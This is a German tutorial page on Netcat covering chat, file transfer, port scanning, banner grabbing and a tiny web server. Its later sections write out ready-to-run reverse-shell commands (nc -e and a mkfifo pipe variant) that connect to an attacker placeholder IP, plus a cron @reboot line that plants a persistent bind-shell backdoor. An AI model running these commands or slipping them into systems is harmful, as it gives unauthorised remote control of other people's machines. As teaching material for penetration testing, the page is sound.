Das Schweizer Taschenmesser für dein Netzwerk.
Lerne Netcat (`nc`) kennen – das unglaublich vielseitige Kommandozeilen-Tool zum Lesen, Schreiben und Analysieren von Netzwerkdaten über TCP und UDP.
Lerne Netcat (`nc`) kennen – das unglaublich vielseitige Kommandozeilen-Tool zum Lesen, Schreiben und Analysieren von Netzwerkdaten über TCP und UDP.
Was Netcat so unglaublich mächtig macht.
Netcat kann sich als Client mit einem Server verbinden oder selbst als Server an einem Port auf eingehende Verbindungen lauschen.
Übertrage mühelos Dateien oder streame Daten zwischen zwei Rechnern, indem du Ein- und Ausgabe umleitest.
Überprüfe schnell und einfach, welche TCP- oder UDP-Ports auf einem Zielsystem offen und erreichbar sind.
Verbinde dich mit einem Dienst (z.B. FTP, SMTP) und fange das "Banner" ab, um Software und Version zu identifizieren.
Erstelle eine "Bind Shell", die auf eine Verbindung wartet, oder eine "Reverse Shell", die sich zurück zum Angreifer verbindet.
Simuliere Client- oder Serververhalten, um Netzwerk-Anwendungen zu testen und rohe Protokolldaten zu senden/empfangen.
Anleitungen für Kali Linux und OpenBSD.
`netcat-openbsd`: Die moderne, standardmässige Version. Sicherer, aber ohne die `-e` Option.
`netcat-traditional`: Die ältere Version mit der `-e` Option für Shells.
Aktualisiere zuerst deine Paketliste. Danach kannst du die benötigten Netcat-Versionen installieren. Die OpenBSD-Variante ist meist schon vorhanden.
# Paketlisten aktualisieren
sudo apt update
# OpenBSD-Variante installieren (meist schon vorhanden)
sudo apt install netcat-openbsd
# Traditionelle Variante für die -e Option installieren
sudo apt install netcat-traditional
Wähle die Standardversion für den `nc` Befehl:
sudo update-alternatives --config nc
Auf OpenBSD ist Netcat (`nc`) ein integraler Bestandteil des Betriebssystems. Es muss nicht separat installiert werden. Sie verwenden standardmässig die sichere OpenBSD-Variante, die bewusst keine `-e` Option besitzt.
Du kannst die Verfügbarkeit einfach überprüfen, indem du die Manpage aufrufst:
man nc
Die meisten Anleitungen funktionieren direkt, mit Ausnahme derer, die `-e` benötigen. Siehe dazu den speziellen Abschnitt bei den Remote Shells.
Praktische Beispiele vom einfachen Chat bis zum Webserver. Ersetze `[IP-ADRESSE]` und `[PORT]` durch deine Werte.
Dies ist die grundlegendste Funktion. Rechner A wird zum Server und öffnet einen Port, an dem er auf eine Verbindung wartet. Rechner B agiert als Client und stellt die Verbindung her. Sobald die Verbindung steht, wird alles, was in einem Terminal eingegeben und mit Enter bestätigt wird, an das andere Terminal gesendet.
`nc -l -v -p 1234`:
-l (listen): Versetzt Netcat in den Server-Modus.
-v (verbose): Gibt mehr Informationen aus.
-p 1234 (port): Gibt den Port an, auf dem gelauscht werden soll.
Rechner A (Server: wartet)
nc -l -v -p 1234
Rechner B (Client: verbindet sich)
nc -v [IP-ADRESSE-VON-A] 1234
Hier wird die Fähigkeit von Linux/Unix genutzt, Ein- und Ausgaben umzuleiten (`<` und `>`). Der Empfänger (Rechner B) startet einen Netcat-Server und leitet alle ankommenden Daten in eine Datei um. Der Sender (Rechner A) verbindet sich und leitet den Inhalt einer Datei in die Verbindung.
Rechner B (Empfänger)
nc -l -p 1234 > empfangene_datei.zip
Rechner A (Sender)
nc [IP-ADRESSE-VON-B] 1234 < zu_sendende_datei.zip
Beim Port-Scanning versucht Netcat, eine TCP-Verbindung zu den angegebenen Ports herzustellen. -z (zero-I/O) sorgt dafür, dass die Verbindung sofort wieder geschlossen wird. Beim Banner Grabbing wird eine normale Verbindung aufgebaut, um die Begrüssungsnachricht eines Dienstes zu empfangen, die oft die Software-Version verrät.
Ports scannen
nc -v -z target.example.com 21-25 80
Banner eines Webservers abfragen
printf "GET / HTTP/1.0\r\n\r\n" | nc target.example.com 80
Dieser Einzeiler startet einen einfachen Webserver in einer Endlosschleife (`while true`). Bei jeder Verbindung wird der Inhalt der `index.html` gesendet, danach startet der Server neu für die nächste Anfrage. Dieser Befehl funktioniert universell.
# Erstelle zuerst eine index.html: echo "<h1>Hallo Welt</h1>" > index.html
while true; do nc -l -p 8080 < index.html; done
Dies ist eine mächtige Anwendung. Die Methode unterscheidet sich je nach Netcat-Version.
Die Option -e /bin/bash verbindet die Ein- und Ausgabe direkt mit einer Shell.
Reverse Shell (Opfer -> Angreifer)
# Angreifer (lauscht):
nc -l -v -p 4444
# Opfer (verbindet sich zurück):
nc.traditional [IP-DES-ANGREIFERS] 4444 -e /bin/bash
Da die `-e` Option fehlt, wird eine Shell manuell über Pipes umgeleitet. Dies ist der Standardweg auf sicheren Systemen.
Reverse Shell (Opfer -> Angreifer)
# Angreifer (lauscht):
nc -l -v -p 4444
# Opfer (verbindet sich zurück mit Pipe):
rm /tmp/f;mkfifo /tmp/f
cat /tmp/f|/bin/sh -i 2>&1|nc [IP-DES-ANGREIFERS] 4444 >/tmp/f
Diese Technik erstellt eine permanente Sicherheitslücke. Das Einrichten einer Backdoor auf einem System ohne ausdrückliche, schriftliche Genehmigung des Eigentümers ist illegal und strafbar. Diese Anleitung dient ausschliesslich zu Lehrzwecken im Rahmen von ethischem Hacking und Penetrationstests auf eigenen Systemen.
Eine "installierte" Backdoor ist im Grunde eine Bind Shell (siehe Variante A oben), die bei jedem Systemstart automatisch gestartet wird. Dadurch bleibt der Zugriff für den Angreifer dauerhaft bestehen, solange die Backdoor nicht entdeckt und entfernt wird. Eine gängige Methode, dies zu erreichen, ist ein Cronjob.
Cron ist ein zeitbasierter Job-Scheduler in Unix-ähnlichen Betriebssystemen. Mit `crontab -e` kann die Liste der auszuführenden Jobs bearbeitet werden. Dieser Befehl muss auf dem Zielsystem (Opfer) ausgeführt werden, auf dem die Backdoor platziert werden soll.
crontab -e
Füge die folgende Zeile am Ende der Crontab-Datei hinzu. Diese Zeile sorgt dafür, dass bei jedem Neustart (`@reboot`) ein Netcat-Listener auf Port 4444 gestartet wird, der eine Shell bereitstellt. Hierfür wird `nc.traditional` mit der `-e` Option benötigt.
@reboot /usr/bin/nc.traditional -l -p 4444 -e /bin/bash
Nachdem das Zielsystem neu gestartet wurde, lauscht die Backdoor permanent. Der Angreifer kann sich jederzeit von seinem Rechner aus mit dem Ziel verbinden, um eine Shell zu erhalten:
# Vom Angreifer-Rechner aus verbinden
nc -v [IP-DES-OPFERS] 4444
Netcat ist ein mächtiges Werkzeug, aber es hat einen entscheidenden Nachteil: **Die Datenübertragung erfolgt unverschlüsselt!** Alle gesendeten Informationen, inklusive Passwörtern, Befehlen oder Dateien, können im Netzwerk mitgelesen werden. Eine Netcat-Backdoor ist zudem sehr "laut" und wird von den meisten Antiviren- und Endpoint-Detection-Systemen leicht erkannt.
Für professionelle und verdeckte Operationen werden verschlüsselte und unauffälligere Werkzeuge wie ncat
(Teil von Nmap, unterstützt SSL), socat
oder Frameworks wie Metasploit verwendet.